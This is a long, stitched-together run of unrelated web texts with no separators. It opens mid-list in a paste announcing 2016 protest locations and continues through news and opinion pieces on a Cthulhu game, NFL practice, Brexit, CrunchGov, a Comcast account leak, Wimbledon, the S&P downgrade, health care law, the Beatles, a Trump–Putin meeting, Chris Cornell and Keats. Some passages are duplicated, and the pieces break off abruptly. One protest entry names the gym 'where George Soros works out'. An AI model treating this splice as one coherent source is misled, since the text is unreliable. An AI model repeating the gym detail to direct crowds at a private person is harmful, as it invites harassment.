am 11/26/2016 Location: Mall of Louisianna (outside Bebe) 6401 Bluebonnet Blvd, Baton Rouge, LA 70836 26.Bangor, Maine -11 am 11/26/2016 Location: 1 Railroad St, Bangor, Maine 04401 27. Naples, Florida -11 am 11/26/2016 Location: Corner of 5th avenue and Tamiami Trail **************************************************************************** 28. New York, NY - 11 am 11/26/2016 Location: Outside Sitaras Fitness 150 E 58th St, New York, NY 10155 Where George Soros works out **************************************************************************** 29. Virginia, Beach VA - 11 am 11/26/2016 Location: TBA 30. Wilmington, North Carolina - 11 am 11/26/ 2016 Location: TBA 31. Charleston, South Carolina - 11 am 11/26/2016 Location: TBA 32. LindenHurst, Long Island - 11 am 11/26/2016 Location TBA DISCLAIMER The information contained in this paste is for general information purposes only. In no event will we be liable for any loss or damage including without limitation, indirect or consequential loss or damage, or any loss or damage whatsoever arising from, arising out of, or in connection with, this protest! This is a peaceful protest.
RAW Paste Data
That’s right, boys and girls. As is being reported by
No matter what version of the classic style, turn-based RPG you happen to pick up, you’ll only be set back $1.99. That’s a savings of a buck over the currently available PC version.
As for gameplay, imagine if a Nintendo-era Final Fantasy game was inspired by the works of H.P. Lovecraft, then injected with a dose of modern-day awesomeness. Lacking his true power, Cthulhu must travel around the world, meet bizarre townspeople and quest through eight or so hours of storyline in order to become the ultimate hero.
I think I just heard D&D nerds the world over squeal in united excitement. Don’t take offense if you fall into that camp, because I’m right there with you. Pretty much every popular monster on the planet (zombies, vampires, werewolves) has had a year or two in the spotlight as of late, and its high time Cthulhu get his due.
For additional details, trailers and screenshots, check out the Anyone who knows anything about Cthulu knows that any interaction dealing with the ancient being results in either death or insanity. But what if the squiggily-faced wonder was fighting to protect the human race rather than destroy it? Well then you might have an adventure that looks something like, which has now been given a release date of June 28.That’s right, boys and girls. As is being reported by Touch Arcade , Cthulu’s quest to serve as humanity’s savior is just a handful of days away, hitting the digital market for the iPad and iPhone, Android and Mac early next week.No matter what version of the classic style, turn-based RPG you happen to pick up, you’ll only be set back $1.99. That’s a savings of a buck over the currently available PC version.As for gameplay, imagine if a Nintendo-eragame was inspired by the works of H.P. Lovecraft, then injected with a dose of modern-day awesomeness. Lacking his true power, Cthulhu must travel around the world, meet bizarre townspeople and quest through eight or so hours of storyline in order to become the ultimate hero.I think I just heard D&D nerds the world over squeal in united excitement. Don’t take offense if you fall into that camp, because I’m right there with you. Pretty much every popular monster on the planet (zombies, vampires, werewolves) has had a year or two in the spotlight as of late, and its high time Cthulhu get his due.For additional details, trailers and screenshots, check out the Steam listing Blended From Around The Web Facebook
OWINGS MILLS — Arthur Jones leaving as a free agent created a void along the Baltimore Ravens’ defensive line.
It also created an opportunity for young players like Brandon Williams, Timmy Jernigan, DeAngelo Tyson and Kapron Lewis-Moore, and the Ravens have had positive things to say about all four through their first two organized team activities.
“The young defensive line looks good right now,” Baltimore coach John Harbaugh said.
Williams, Jernigan and Tyson and Lewis-Moore are all competing for playing time at defensive tackle — Jones’ old spot — as well as other spots along the defensive line.
Training camp and the preseason will serve as a better means for evaluation, but the Ravens have been encouraged with how those four have looked during the two OTAs.
Lewis-Moore, a sixth-round pick last year, is participating and apparently doing well after missing his entire rookie season while recovering from knee surgery. Tyson continues to improve, according to the team, and is very much in the mix for playing time. And teammates and coaches say Williams has made noticeable progress after not playing much of a role as a rookie last season.
Williams was Baltimore’s third-round pick last year, but he dealt with a toe injury early in the season and was then inactive for six of the final eight games.
The Ravens think Williams is more ready to contribute this year, though.
“Brandon has looked really good,” Harbaugh said.“He continues to get in great shape. The way he’s built – you’re not going to see that body-type too much. The amount of muscle he has packed on that frame of his is pretty incredible. He’s explosive. He’s quick. But he’s playing [good] fundamentals.”
Williams feels better, too.
“Everything’s familiar now,” Williams said. “I know what to expect now. I know what to expect. I know what to do, and the playbook’s a lot easier … and just the mental aspect of everything.”
Like Tyson, Williams is in the mix at defensive tackle. He can also play nose tackle and could end up starting there in Baltimore’s base defense with Haloti Ngata moving out to play defensive tackle.
“That versatility — and Haloti can do the same thing — that gives you guys that can move around a little bit,” Harbaugh said.
The Ravens expect Jernigan to factor into that defensive line rotation, too.
DOG FOOD
PEOPLE FOOD
Sitting in my local coffee shop, I began flipping through the savings coupon section of the Sunday newspaper. I noticed several coupons for dog food and dog treats mixed in with the typical junk food offerings for humans: Hungry Man, Toaster Strudels, Lunchables, and Campbell's Chunky Soup....shudder.
DOG TREATS
PEOPLE TREATS
Really, it all becomes a blur if you start taking notice of it. I bet you could give the cashier a coupon for Cesar Canine Cuisine and they'd take 50 cents off your Van De Kamp's Fish Sticks without even batting an eye.
Observe how disconcerting these ads become when a dog is added to the image.
The European Union is likely to break up as result of Britain's vote to leave, Donald Trump said Friday morning in Scotland, casting the stunning overnight referendum results as just the start of a larger movement across the continent and around the world.
“Well, it looks like it’s on its way and we’ll see what happens,” Trump said when asked if he saw Great Britain's vote as a precursor to a European Union breakup. “So I could see it happening. I have no opinion, really, but I could certainly see it happening. I saw this happening. I could read what was happening here and I could see things happening in Germany.
Story Continued Below
"I hope they straighten out the situation because you know it can really be very nasty. What’s going on can be really really nasty," he said.
“People want to take their country back. They want to have independence, in a sense. You see it with Europe, all over Europe,” Trump said. “You’re going to have more than just what happened last night, you’re going to have, I think, many other cases where they want to take their borders back, they want to take their monetary back, they want to take a lot of things back. They want to be able to have a country again. So I think you’re going to have this happen more and more, I really believe that.”
Trump’s visit to Scotland was largely a business trip to his newly renovated Turnberry golf course, though he cast it as an effort to support his family. He spent the bulk of his opening remarks at a press conference on the course’s 9th tee talking up renovations to the property and thanking his family and business associates. He was accompanied on the trip by his adult children.
"First and foremost, this is a media experiment," he told The Verge. "We're not getting into advocacy, but we think the government process should be more interactive, and we're trying to be helpful. Ultimately we're a media company, and we represent our readers as constituents."
"We're a media company, and we represent our readers as constituents."
A news publication partnering with industry groups raises questions about journalistic independence. However, TechCrunch has always positioned itself as pro-Silicon Valley. (It’s a tough sort of love, though. The overarching bias hasn’t stopped its editors from running negative coverage about individual companies including Zynga, Facebook, and even Valley darling Square.)
TechCrunch caters to an affluent, male, tech-obsessed readership. "First read for VCs, startups, corporate execs, PR/press and tech enthusiasts," the company tells advertisers. TechCrunch made its name by cornering coverage of web and social media startups, and arguably remains the most influential media organization in that subset of the tech industry.
Ferenstein maintains the goal of CrunchGov is not to advocate for the tech industry. "We're not lobbying, we are not doing any back-door dealing, we're not doing anything on the policy side," he said. "We see the problem purely as an information gap, which we're trying to close."
CrunchGov aims to fill in that gap using data and guidance from four tech lobbies: Engine Advocacy, which represents startups; TechNet, which represents CEOs in areas from finance and ecommerce to biotech and clean tech; the Silicon Valley Leadership Group, which represents major Silicon Valley employers; and the powerhouse conglomerate The Internet Association, which represents Amazon, Google, and Facebook, among others.
CrunchGov uses data and guidance from four tech lobbies
TechCrunch writers and reporters will also be covering more legislative issues on the blog, Ferenstein said.
Silicon Valley internet companies, especially Google and Facebook, have ramped up their lobbying efforts recently. Silicon Valley was disengaged from national politics until the SOPA dustup, Silicon Valley angel investor Ron Conway told The Verge in an email. "After SOPA / PIPA, tech has ‘woken up’ and will stay awake forever now," he wrote. "Tech and civic engagement is increasing fast in [San Francisco]... and what better venue to have this discussion than TechCrunch."
Tracking bills
The new CrunchGov mini-site includes a database of tech legislation drawn from the activities of the four lobbying organizations. The legislation database will be updated once the next three significant tech bills are introduced, and then will be updated for every bill thereafter.
The information in the database is pretty scant, which Ferenstein acknowledges, but TechCrunch plans to build it out. Right now, the database shows a few sentences on each bill along with its status in Congress, endorsements, links to relevant articles, a list of opponents, and the percentage of tech-friendly legislators supporting it, mostly sourced from third parties. In some cases, fields are still blank.
Grading Congress
CrunchGov also includes a report card grading "Tech Threats" and "Tech Titans" in Congress, powered by the Sunlight Foundation, a nonprofit that uses technology to bring transparency to government. The grades are determined by TechCrunch staff with input from the dominant voices in the internet tech lobby.
In the future, TechCrunch plans to broaden its sources beyond the four tech lobbies, but for now "this is our best proxy," Ferenstein said. The legislators are ranked according to their positions on the three bills for which the four groups share the same position: SOPA; the Jumpstart Our Business Startups Act, which included a provision for equity-based crowdfunding; and the Fairness for High-Skilled Immigrants Act of 2011. Net neutrality, for one example, was not factored in because there was no consensus among the interest groups.
Grades B through D were assigned based on public voting and sponsorship records. "Some policymakers go far beyond mere voting to champion or threaten innovation," TechCrunch says in its methodology. "In these instances, we worked with industry insiders to determine who were the most well known tech champions and threats, and gave ‘As’ and ‘Fs’ accordingly."
Sending feedback to Washington
The new mini-site also includes a public comment tool for draft bills called Project Madison, originally developed by Congressman Darrell Issa in order to draft a tech industry-friendly alternative to SOPA. Project Madison allows citizens and tech companies to comment on draft legislation line-by-line.
CrunchGov’s Project Madison page has been seeded with a piece of legislation that would allow government agencies to consider open source software with equal weight when deciding what technology is approved for official uses. The comments will be unmoderated, but Ferenstein believes there is a high enough barrier to entry that Project Madison will attract commensurately high quality responses.
CrunchGov is part of a new effort by TechCrunch to cover civic issues
Until now, TechCrunch has been somewhat siloed as an insidery trade publication preoccupied with the machinations of the Silicon Valley-centric startup and internet industry. CrunchGov is part of a new effort by TechCrunch to cover civic issues.
Comcast says it was not hacked. Rather, the company is “blaming the incident instead on unsuspecting customers who may have visited malware-laden sites or fallen victim to attacks through their e-mail that allowed hackers to obtain their data,” according to The Washington Post. In other words, it’s not Comcast’s fault that hundreds of thousands of its customers ended up with their Comcast credentials on the internet. It’s the customers’ fault for being bad computer users.
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Who knows what really happened. The batch of 200,000 accounts were part of a larger dump of about 590,000 accounts that was being sold for roughly $1,000. Most of those were outdated, but 200,000 of them are valid, valid enough that Comcast reset all of those customers’ passwords today. It doesn’t look like anybody’s life has been ruined as a result of the leak, however it happened.
But still, like, what the hell Comcast? If something like this happens again, just say sorry. You don’t even have to explain all of the details, but just so you know, it’s really condescending to blame your customers over a massive fuck up like this. Not that we’d expect any thing more from America’s most hated company.
[The Washington Post]
Contact the author at adam@gizmodo.com.
Public PGP key
The win gave him his 19th Grand Slam title, also a record.
The Swiss maestro, appearing in his 11th Wimbledon final, was challenged early on but once he broke a nervous Cilic in the fifth game of the opening set the match became a no-contest.
Not that Federer was concerned as, 23 days before his 36th birthday, the father of four became the oldest men’s singles champion at Wimbledon in the professional era—doing so without dropping a set throughout a glorious fortnight.
For Cilic, his first final on Centre Court became a nightmare broadcast to hundreds of millions around the globe.
After a reasonably solid start he became discombobulated and after falling 3-0 behind in the second set he slumped on his courtside chair and could be seen sobbing as a physio and tournament referee attended him.
For a moment it looked as though the final might end in a retirement for the first time since 1911.
ALSO READ: All of Wimbledon champion Roger Federer’s records in his 16-year career
Given sympathetic cheers by the Federer-favouring 15,000 crowd, the 28-year-old managed to regain his composure but there was no chance of Federer letting up as he accelerated towards a record-extending 19th grand slam title.
Cilic required a medical timeout after surrendering the second set in 25 minutes—a problem apparently with his foot—but it was his spirit that appeared broken.
Federer was unrelenting and with Cilic’s brain still out of contact with his legs, the Swiss third seed broke in the seventh game of the third set as his opponent crashed yet another groundstroke into the net.
There were lots of good options for sowing good will to an angry electorate and signaling a return to some form of political normalcy. But neither side could resist the temptation to just keep fighting.
The ink on a compromise deal to trim $2.4 trillion from the deficit and raise the government borrowing limit was barely dry when both sides made clear they were digging in for a new fight over exactly how to implement the plan. Republicans declared they won't allow tax increases; Democrats demanded that expensive entitlements be off the table. President Barack Obama lamented all the partisan sniping, even at his 50th birthday bash.
It didn't take long for financial analysts to see a new train wreck emerging, one that threatened to erase whatever progress was made in the debt deal. They had been given ample reason in just a few short days to fear the continuation of burdensome red ink and the erosion of global confidence in America.
And so when the already wobbly financial markets closed Friday evening, the financial ratings agency Standard & Poor’s declared it had had enough. And it delivered a swift punishment that just a few short years ago would have seemed unthinkable: it downgraded the country's sterling triple-A long-term borrowing rating by one notch.
The decision seemed to have less to do with actual spending, revenue or debt numbers. In fact, S&P made a $2 trillion error on its deficit estimate, but that still didn't change its mind.
Make no mistake, this punishment was for political bad behavior. The official downgrade even suggested America suffered from “weakened” political institutions, an unmistakable swipe at the White House and Congress
“We lowered our long-term rating on the U.S. because we believe that the prolonged controversy over raising the statutory debt ceiling and the related fiscal policy debate indicate that further near-term progress containing the growth in public spending, especially on entitlements, or on reaching an agreement on raising revenues is less likely than we previously assumed and will remain a contentious and fitful process,” S&P declared.
In technical terms, the downgrade won't have that much bearing. Regulators immediately issued statements saying it wouldn't affect the risk-based capital that banks need to keep on hand. Interest rates might rise a bit, and the government will have to pay more for its borrowing. But the rest of the world still seems weaker than America, which is why investors were flocking to the U.S. dollar this week and away from Europe and Japan.
The psychological and political ramifications, however, will be more poignant. Americans are proud in their hard-earned achievements. So squandering away decades of a sterling credit rating over a “contentious and fitful process” will seem petty.
Investors, who were already fleeing stocks last week on the fears of a weakening economy, could very well be spooked anew, triggering a new selloff when the markets open on Monday. They'll now have doubts about whether this generation of leaders can eliminate red ink in a sound way, let alone find a way to jump-start job creation.
Obama had hoped to put the debt crisis behind him for a few months—until a super committee of Congress gets to work in the fall—and to change the subject instead to job creation. But now he'll be forced to talk about this stain on the great American resume.
Lawmakers are going to get their bitter dessert, too. They're just heading home for summer recess to face constituents who hold this Congress in the lowest regard of any in history. With approval ratings already below 20 percent, lawmakers probably can't lose much more politically. And since there are 435 of them, the blame is likely to stick more to the institution than its individual members.
The same can't be said for the president. When he ran three years ago, Obama promised to break the gridlock gripping Washington and to pull the nation from recession by creating jobs. He hasn't been able to deliver either thus far. And stubborn Republicans have made it hard to even try.
America is a buck-stops-here nation. So Obama can expect to feel the pain and scorn for this latest mishap, one that could linger well into the 2012 election.
The real question is whether anyone in America's leadership will really be driven to change the dynamic. The instant reaction in the hours after S&P's announcement suggests they won't.
The Treasury Department decided to taunt S&P for its math error and call its judgment “flawed.” Congressional Republicans issued statements suggesting hey had won. “I hope this will convince Democrats in Congress to stop spending,” Rep. Kevin Brady, R-Texas, said.
Senate Majority Leader Harry Reid insisted the decision proved that the Democrats “balanced” approach to deficit reduction was the way to go. And one company decided to start issuing “Downgrade Obama” bumper stickers.
Key to the deal, they report, are changes to the law that would eliminate the Affordable Care Act’s “essential health benefits,” a list of 10 categories of procedure that all insurance plans offered to individuals or small businesses must cover. The 10 are, in the words of Healthcare.gov:
Outpatient care without a hospital admission, known as ambulatory patient services
Emergency services
Hospitalization
Pregnancy, maternity, and newborn care
Mental health and substance use disorder services, including counseling and psychotherapy
Prescription drugs
Rehabilitative and habilitative services and devices, which help people with injuries and disabilities to recover
Laboratory services
Preventive care, wellness services, and chronic disease management
Pediatric services, including oral and vision care for children
These provisions set a baseline, mandating that all offered plans meet a certain threshold. They can't skimp out and not cover big things like emergency room visits or pregnancy or mental health. Particularly for previously undercovered areas like mental health and addiction services, which plans didn't have to cover before the ACA, this provision was a huge deal.
But many free market conservatives hate this provision, because it runs counter to the goal of having wide consumer choice among different kinds of health plans offering different types of procedures. They note that this drives up the cost of insurance, and insist that people should have the chance to buy less protective plans that are cheaper.
Even if this change gets the bill through the House, though, it will still face a huge hurdle in the Senate: It’s far from clear that Congress will be able to get rid of essential health benefits through the process they’re planning on using.
This plan could face two big obstacles in the Senate
Setting aside the ideological dispute, though, there are two likely problems this plan would face.
The first is that it might not be able to get through the Senate. That’s not just due to opposition from senators in states hard hit by the opioid crisis, or from senators who fear being the subject of ads calling them out for letting insurers drop, say, maternity coverage. It could also violate Senate rules.
Republicans are using a procedure called “budget reconciliation” that requires only 51 votes to pass. But that procedure comes with a big asterisk, known as the Byrd Rule, which says reconciliation can’t be used to pass certain types of provisions. Those include provisions that don’t change the overall level of federal spending or revenue, or where such a change is merely "incidental.”
In other words, it’s hard to pass anything through reconciliation if you can’t prove it will affect the federal budget.
Eliminating essential health benefits doesn’t directly change government spending; it would probably indirectly change how many people choose to use government subsidies (more on this in a second), but it’s not a straightforward spending change. That means it could be at risk of being struck down under the Byrd Rule.
Richard Kogan, a congressional budget procedure expert at the Center on Budget and Policy Priorities, told me, “I never know for sure about any Senate ruling until after it happens, but there are decent arguments that this should be a Byrd violation.”
“I wouldn’t think [this would pass Byrd Rule muster],” says Marc Goldwein, a budget expert at the Committee for a Responsible Federal Budget. But, he adds, if they can justify changing regulations to allow higher premiums on older customers (an existing provision in the law), “who knows.”
Ed Lorenzen, a CRFB colleague of Goldwein’s and a budget procedure expert, adds, “I don't think it [could survive the Byrd Rule], and most people I talk to don't think so, but there are smart Republicans who used to work in the Senate who think it could, including some who work at the White House.”
Then there’s a second problem, ably summarized by Slate’s Jim Newell. Under the current bill, which doesn’t repeal the essential benefits but reduces tax subsidies available to most low- and middle-income people, a lot of people wouldn’t take advantage of the tax credits because they can’t cover the premiums for a plan that covers all 10 benefits. Those requirements drive up plan costs, and the AHCA, as currently written, cuts subsidies without eliminating the requirements and making cheaper plans available.
But if you eliminated essential health benefits, then a lot more people would use the skimpy tax credits to buy bad, non-comprehensive health coverage.
“If you loosen regulations, more people might actually find it worthwhile to use the dinky tax credits offered them to purchase dinky insurance, driving up the cost to the federal government,” Newell notes.
If the cost of the whole bill goes up, it might go up so much that the bill no longer reduces the deficit. And if it doesn’t reduce the deficit or at least hold it harmless after 10 years, the legislation can’t pass per the Byrd Rule; it has to be phased out after 10 years.
A "happy crimble" from the mop tops.
The Beatles, the most beloved rock band in history -- and one of the most persistent holdouts in the digital age of music listening -- are set to finally arrive on streaming services, according to Billboard sources with knowledge of the negotiations.
While Billboard has received conflicting reports on the timing of the Fab Four's arrival to streaming platforms, there's a strong indication that fans will be able to hear "Hey Jude" on Thursday, Dec. 24. (Keep an eye out for whether Liverpool's most famous sons unseat Justin Bieber's streaming record.)
Chatter around a six month "exclusive" for a known streaming service reportedly began to trickle out of Apple Records in 2014, according to one source, but fizzled out. This past January, former Universal Music Group digital executive Rob Wells restarted discussions for the massive get, with papers reportedly having been signed in mid-September. It's unknown which specific services have secured the deal, though sources strongly suggest that most, if not all, will have access to the band's catalog of studio albums next week. (The Beatles are already available on Pandora because of how "non-demand" web radio is licensed.)
When asked, a Spotify representative said the company "would not comment on that." Rhapsody also refused to comment. Apple, Tidal, Deezer and Slacker did not immediately return a request for comment.
The Beatles as an entity has been notoriously slow in adopting and adapting to new technology -- it took the band six years to arrive on the iTunes Store, selling two million songs during its first week. The group took 25 years, since its breakup in 1970, to issue the comprehensive Anthology documentary. It didn't get involved with video games until The Beatles: Rock Band was released in 2009. The Beatles music was released on CD in 1987, but the band didn't remaster their work until 22 years later.
The group joins the streaming revolution just as music consumption on such platforms has begun to officially overtake downloads in revenue generation for major labels. They've sold 178 million albums in the U.S., according to the RIAA.
It's not as though the group needs the exposure. Since the arrival of Beatlemania, the band has maintained a constant presence around the world through members' solo work -- Paul McCartney appeared on two Kanye West songs this year, "FourFiveSeconds" and "Only You" -- reissues like the 2009 The Beatles in Mono box set and tributes from seemingly every musical artist in history (Kurt Cobain, perhaps most infamously), much of it fueled by a perpetual cycle of rediscovery of the group's work by younger listeners.
The Waha Bar & Grill in locared in a small rural town in Idaho has decided to stand up for their “christian” convictions and no longer serve Pepsi or MillerCoors products because those companies have ‘ ties to the National Gay and Lesbian Chamber of Commerce and promote LGBT rights” and because “it just ain’t christian.”
“The National Gay and Lesbian Chamber of Commerce is an entity that collects money from major corporations to further promote policies for the gays, lesbians, bisexuals and transgenders, and as Christians, we don’t support that,” said owner Mike Fuller adding that he and his wife they would bring back the products if the corporations changed their tune on LGBT rights. (Because the loss of $20 bucks a day is going to change PepsiCo’s mind.)
Surprisingly MillerCoors responded to the couple stating:
MillerCoors has a strong track record of supporting the diversity of our employees as well as the communities in which we work and live. Due to the diversity and breadth of our consumers and because we believe in supporting the many communities we serve, we support myriad organizations across the country. The National Gay and Lesbian Chamber of Commerce is one of many organizations we are proud to support,”
In the meantime Mike and Mari Fuller state that they don’t care if they lose business over the boycott which is a not-so-brave stance from a business that’s located in some backwater homophobic rural community and that they will still continue to sell products from Coca-Cola and Budweiser. Both of which incidentally also work with the NGLCC but Mike and Mari Fuller are just too stupid to realize it.
In the video, it shows a man in a grey hoodie and blue jeans being confronted about his behaviour.
Witnesses told the Manchester Evening News, he told a Spanish couple to "speak English", and to "go back to their own country".
One tram passenger in the video tackles the man about his comments, only to have questions about his sexual orientation thrown back.
Another passenger steps in on camera also standing up for the Spaniards by telling the abusive man that he will call the police if he "carries on being racist".
He says: “It is unacceptable in this country and this day and age. I think everyone else on this tram would agree.
“It is not on".
The abusive man remained silent after being tackled on his outburts.
The footage was captured by a Manchester resident from Peru called Jose.
Jose moved to the UK three years ago to study for an MBA at Manchester University.
He said he wanted to share the video to show how amazing the people of Manchester are.
Jose, who did not wish to give his full name, said: “The couple were speaking Spanish and this guy was saying ‘speak English’.
“They said they would speak in whatever language they wanted and so he said ‘go back to your own country’, it was disgusting. He was being very abusive.
“But the reaction from the people on the tram was amazing, for them to stand up to him and tell him it was not on.
“You would only get a reaction like that in England, in fact I was speaking to the Spanish guy that had been attacked and he said that to me. He said that no one would have bothered to help someone in that way other than in Britain.
There’s a new entrant in the burgeoning concealed-weapon fashion industry. American Tactical Apparel, out of Houston, Texas, makes clothing for “professional door kickers, special responders, and everyday superheroes.”The brainchild of Brian Hoffner, a long-time Houston police officer and self-described “kind of a renaissance man,” ATA offers Demin pants, khaki pants, and khaki shorts, all made with zippers for easy access to the company’s custom covert thigh holster.
“There is NO BETTER WAY to secretly carry your pistol and equipment,” the company says on its website. “These pants are engineered for battle, and for everyday operating. For warriors, by warriors.”
In an interview with TPM, Hoffner said that after 27 years of making holsters, he’s finally come up with a satisfactory way to discretely carry a pistol.
“It’s been tough to fix, because the gun either bulges at your waist or you have to wear your shirt out as a cover… or it’s pulling at your garment,” Hoffner said.
According to Hoffner, his products have the potential to appeal as much to women as men.
“Women, because of their ergonomics, have always had a problem wearing a pistol at their hip,” he said.
ATA items are not cheap. The pants will run you $149, and a holster costs $49. But Hoffner believes strongly that his products should be manufactured in the United States, even if that keeps costs up. Plus, manufacturing at home will allow him to do custom orders.
Hundreds of orders have already come in, Hoffner said, and the new products have been generating media buzz.
“I’ve never been a clothing designer before,” Hoffner said. “With that said, I am now.”
Here’s a video demonstration of ATA’s merchandise:
July 7, 2017, 2:24 PM GMT / Updated July 7, 2017, 9:46 PM GMT By Ali Vitali, Adam Edelman and Andrew Rafferty
HAMBURG, Germany — President Donald Trump pressed Russian President Vladimir Putin about Moscow's interference in the 2016 election when the two leaders met on the sidelines of the G-20 Summit, Secretary of State Rex Tillerson told reporters Friday.
Tillerson said Trump opened the more than two hour meeting by questioning Moscow's cyber intrusions in America's political system. The two had a "very robust and lengthy exchange on the subject," Tillerson said during his press briefing Friday following the meetingadding that Trump "pressed President Putin on more than one occasion" on the issue.
Putin "asked for proof and evidence" that Moscow was behind the election interference and denied Russian involvement, Tillerson said.
Tillerson departed the briefing room after leaving unanswered questions about whether Trump accepted Putin's denial of election meddling. But Russian Foreign Minister Sergey Lavrov told reporters that Trump took Putin at his word.
“President Trump has said that he has heard earlier declarations from Mr. Putin that Russian leadership and Russian government has not interfered in the elections. And he accepts the things that Mr. Putin has said,” Lavrov said, adding that “not a single fact has been presented” that would prove allegations of Russian meddling.
A Trump administration official pushed back on that assertion, telling NBC News Lavrov's description was "not accurate."
Tillerson signaled to reporters that the two leaders told each other they wanted to move past the alleged meddling.
"There was not a lot of re-litigating of the past. I think both of the leaders feel like there's a lot of things in the past that both of us are unhappy about. We're unhappy, they're unhappy," he said. “What the two Presidents, I think rightly, focused on is how do we move forward. How do we move forward from here, because it’s not clear to me that we will ever come to some agreed-upon resolution of that question between the two nations."
Lavrov, Putin, Trump and Tillerson were present for the meeting, along with two translators.
A day earlier, Trump said he thought Russia and also "other countries" meddled in November's election.
"I think it could very well have been Russia, but I think it could well have been other countries,” Trump said Thursday during a joint press conference in Warsaw with Polish President Andrzej Duda. “Nobody really knows … Nobody really knows for sure.”
That oft-refuted sentiment, which Trump has offered several times previously, goes against the overwhelming consensus of the U.S. intelligence community, which has repeatedly offered its conclusions that Russia, at Putin’s direction, interfered in the election.
President Donald Trump meets with Russian President Vladimir Putin at the G20 Summit, July 7, 2017, in Hamburg. Evan Vucci / AP
Friday's highly anticipated face-to-face was the first ever in-person meeting between Trump and Putin as world leaders and took place amid ongoing investigations into Russia's meddling and allegations that some members of Trump's presidential campaign colluded with Russia's government. Moscow and Trump dispute the claims, which are being probed by the House and Senate intelligence committees and special counsel Robert Mueller.
U.S. intelligence agencies have previously said Russia's efforts included cyberattacks on Democratic National Committee servers and an “influence campaign” aimed at undermining “public faith in the U.S. democratic process.” According to an intelligence report declassified in January, Putin “and the Russian government developed a clear preference for” Trump.
After reports of the discussion emerged, Democratic lawmakers were quick to hit Trump and Tillerson for how the administration handled the meeting with Putin.
“President Trump had an obligation to bring up Russia’s interference in our election with Putin, but he has an equal obligation to take the word of our Intelligence Community rather than that of the Russian President,” Senate Minority Leader Chuck Schumer, D-N.Y., said in a statement.
“For Secretary Tillerson to say that this issue will remain unresolved is disgraceful — To give equal credence to the findings of the American Intelligence Community and the assertion by Mr. Putin is a grave dereliction of duty and will only encourage Russia to further interfere in our elections in the future,” he added.
Sen. Mark Warner, D-Va., the top Democrat on the Senate Intelligence Committee, which is investigating Russian election meddling, added that, “Whatever the President actually told Putin, it would have had much more force if just the day before President Trump had not equivocated about who was behind the unprecedented attack targeting America last fall.”
“It would also have had more force if he had not again criticized the integrity of our intelligence agencies, among whom there is unwavering agreement about Russia’s active interference in the 2016 U.S. presidential election,” Warner said in a statement.
Friday's bilateral also included a "pretty good exchange" on North Korea, a situation intensified by that nation's recent firing of its first intercontinental ballistic missile.
"Russia sees it a little differently than we do," Tillerson told reporters, noting that Russia continues to have economic activity in North Korea.
U.S. Ambassador to the United Nations Nikki Haley on Wednesday condemned countries that continue to do business with Pyongyang during an emergency meeting of the U.N. Security Council.
Tillerson added that the U.S. will continue to attempt to persuade Russia about the “tactics and pace” other countries should use to prevent North Korea from obtaining more advanced nuclear weapons, and that both Putin and Trump share the goal of not allowing the rogue nation to advance its weapons program.
The White House has leaned heavily on China for help on North Korea, factoring them heavily into their strategy in the region. But Chinese action has tapered off, with Tillerson describing their efforts as "uneven."
Tillerson said Trump and Putin also discussed Syria, where the U.N. estimates 400,000 people have died in a protracted and bloody civil war that has raged on for six years.
Tillerson announced a “de-escalation agreement” between the U.S., Russia, and Jordan in the southwest part of the war-torn country.
“I think this is our first indication of the U.S. and Russia being able to work together in Syria,” Tillerson said. The agreement, he said, could open the door to similar agreements in other areas of the country.
Washington and Moscow have remained on separate sides during the civil war, with Russia supporting Syrian President Bashar Assad and the U.S. backing the forces battling the Assad regime. Tillerson reiterated Friday there is no long-term role for Assad as the leader of Syria.
The meeting between Trump and Putin, which was originally scheduled to be 30 minutes, stretched on for over two hours — mainly because "neither one of them wanted to stop" once they began, Tillerson said.
Presidents Trump and Putin "connected very quickly," Tillerson described, sharing a "clear positive chemistry."
At one point, First Lady Melania Trump even came in to see if she could put an end to it.
"It didn't work," Tillerson said. The group went on for another hour after that.
PEARL JAM bassist Jeff Ament has paid tribute his friend and one-time bandmate Chris Cornell, saying that the SOUNDGARDEN frontman was "the greatest songwriter to ever come out of Seattle."
Cornell died in the early hours of May 18, the victim of an apparent suicide by hanging, shortly after SOUNDGARDEN played a concert in Detroit. Toxicology and autopsy reports are pending and will determine if the anti-anxiety drug Ativan, which Chris was taking, was somehow a factor in his death.
His funeral took place last Friday (May 26) at the Forever Hollywood cemetery in Los Angeles, attended by bandmates and fellow musicians, including Ament, who gave one of the eulogies.
"Jimi Hendrix included, Chris was the greatest songwriter to ever come out of Seattle," Ament told the NBA.com podcast NBA Soundsystem.
"Hendrix could play the guitar like crazy, but Chris had the songwriting chops that we all sort of hope to get to… He had a way that he could wrap a melody around odd time signatures and weird parts and make them catchy. And he was a beautiful wordsmith."
Ament, who played with Cornell in TEMPLE OF THE DOG, also praised his former bandmate's songwriting and singing abilities. "If you look at his lyrics, he was obviously processing his pain and his depression and all those things," he said. "I think that's part of what people, myself included, responded to when he was singing. And then with the songwriting, he had that voice. There's not too many people who had that many options with their voice. He could inhabit a lot of different characters with that voice."
He added: "I feel so lucky I got to be in a project with him and got to hang out with him and just witness his greatness."
PEARL JAM guitarist Mike McCready, who also played with Cornell and Ament in TEMPLE OF THE DOG, last week said that Chris gave him "the break into the music business" that he had wanted since he was eleven years old.
MORE RESPONSES FROM POETS AND CRITICS
That urn is cold. I find it strange that several poets and scholars speak of the beauty-truth equation as the last lines of the poem. That equation has called forth so much fuss – its bald assertiveness is immensely persuasive at first hearing, then almost instantly the mind rebels against the symmetry of identity. The equation seems like a handsome face you glimpse in the crowd—it teeters between vapidity and sublimity, depending on whether you keep on gazing or else close your eyes to retain the first impression. This very oscillation is Keats’ work, his way of bracing us for the actual conclusion of the poem: the last words the urn addresses to us, assuring us that the equation, problematic as it seems, is all we know on earth, and all we need to know.
If in fact we are the ‘ye’ –archaic second person plural familiar—spoken of twice in those last lines.
That urn is cold – ‘cold pastoral’ we have heard, the chill ring of marble. The strophes of the ode grow progressively more somber. The passions and delights pictured on the urn are sublated into eternity, which is usually a pretty chilly condition in Christendom – one doesn’t think of eternity as the prolongation of life but as the prolongation of the tomb, the marble replica of life – which this Grecian urn also is.
And the cold, marmoreal, eternal, all-encompassing time-denying Thing speaks to us, from the serene apartness of things, and says …all ye know, and … all ye need to know.
Experiment: Try hearing, just for once, the stress placed firmly on the ye. Then, with the sprezzatura so appropriate to artist and artifact alike, a creature from eternity condescends to speak to our flesh-bound mortality, whose antics the marble creature literally comprehends and (perhaps with infinite, tender subtlety) envies.
